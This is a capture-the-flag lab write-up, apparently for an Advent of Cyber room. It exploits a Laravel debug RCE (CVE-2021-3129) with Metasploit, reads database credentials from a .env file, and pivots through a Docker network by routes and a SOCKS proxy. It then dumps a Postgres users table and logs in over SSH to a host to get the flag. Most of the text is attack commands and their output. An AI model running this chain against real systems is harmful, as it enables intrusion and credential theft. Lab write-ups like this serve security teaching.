Day 9

Deploy the attached VM, and wait a few minutes. What ports are open?¶

nmap -T4 -A 10.10.154.224

Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 10:30 EDT
Nmap scan report for 10.10.173.133
Host is up (0.031s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Curabitur aliquet, libero id suscipit semper
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

What framework is the web application developed with?¶

Using whatweb to enumerate this website shows

whatweb http://10.10.154.224  
http://10.10.154.224 [200 OK] Apache[2.4.54], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], HttpOnly[laravel_session], IP[10.10.154.224], Laravel, PHP[7.4.30], Title[Curabitur aliquet, libero id suscipit semper], X-Powered-By[PHP/7.4.30]

The response of the network browser also confirms it

What CVE is the application vulnerable to?¶

Search on google for Laravel CVE we can find this blog post:

Laravel RCE CVE-2021-3129 Explanation

What command can be used to upgrade the last opened session to a Meterpreter session?¶

Note that normal command shells do not support complex operations such as pivoting. In Metasploit’s console, you can upgrade the last opened Metasploit session to a Meterpreter session with sessions -u -1.

What file indicates a session has been opened within a Docker container?¶

A common way to tell if a compromised application is running in a Docker container is to verify the existence of a /.dockerenv file at the root directory of the filesystem.

What file often contains useful credentials for web applications?¶

The env file is a great way to find interesting things, usually on /var/www/.env or we can do a wide search on the OS with find /tmp -iname .env -type f

What database table contains useful credentials?¶

Gain access to remove machine with metasploit

msfconsole
use exploit/multi/php/ignition_laravel_debug_rce
RHOSTS 10.10.154.224 HttpClientTimeout=30
set LHOST 10.8.30.181
run

• Get meterpreter session

background
sessions -u -1
sessions -i -1

Inside the .env file

cat /var/www/.env

DB_CONNECTION=pgsql
DB_HOST=webservice_database
DB_PORT=5432
DB_DATABASE=postgres
DB_USERNAME=postgres
DB_PASSWORD=postgres

• Lets try to resolve this DB_HOST

meterpreter > resolve webservice_database

Host resolutions
================

    Hostname             IP Address
    --------             ----------
    webservice_database  172.28.101.51

As this is an internal IP address, it won’t be possible to send traffic to it directly. We can instead leverage the network pivoting support within msfconsole to reach the inaccessible host. To configure the global routing table in msfconsole, ensure you have run the background command from within a Meterpreter session:

background
route add 172.28.101.51/32 -1

We can also see, due to the presence of the /.dockerenv file, that we are in a docker container. By default, Docker chooses a hard-coded IP to represent the host machine. We will also add that to our routing table for later scanning:

route add 172.17.0.1/32 -1

• Print current routes with route print

With the previously discovered database credentials and the routing table configured, we can start to run Metasploit modules that target Postgres. Starting with a schema dump, followed by running queries to select information out of the database:

# Dump the schema
use auxiliary/scanner/postgres/postgres_schemadump
run postgres://postgres:postgres@172.28.101.51/postgres

# Select information from a specific table
use auxiliary/admin/postgres/postgres_sql
run postgres://postgres:postgres@172.28.101.51/postgres sql='select * from users'

What is Santa's password?\

What ports are open on the host machine?¶

To further pivot through the private network, we can create a socks proxy within Metasploit:

use auxiliary/server/socks_proxy
run srvhost=127.0.0.1 srvport=9050 version=4a

• From the attacker machine (Kali Linux)

curl --proxy socks4a://localhost:9050 http://172.17.0.1 -v

proxychains -q nmap -n -sT -Pn -p 22,80,443,5432 172.17.0.1
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-11 14:27 CET
Nmap scan report for 172.17.0.1
Host is up (0.100s latency).

PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   open   http
443/tcp  closed https
5432/tcp closed postgresql

Nmap done: 1 IP address (1 host up) scanned in 0.75 seconds

What is the root flag?¶

With the password, credentials and proxy setup we can access the server as root

msfconsole
run ssh://santa:p4$$w0rd@172.17.0.1

• Get meterpreter session here as well and find the flag

msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
===============

  Id  Name  Type                   Information               Connection
  --  ----  ----                   -----------               ----------
  1         shell cmd/unix                                   10.8.30.181:4444 -> 10.10.154.224:56420 (10.10.154.224)
  2         meterpreter x86/linux  www-data @ 172.28.101.50  10.8.30.181:4433 -> 10.10.154.224:44460 (172.28.101.50)
  3         shell linux            SSH parallels @           10.8.30.181-10.10.154.224:52780 -> 172.17.0.1:22 (172.17.0.1)

sessions -i -1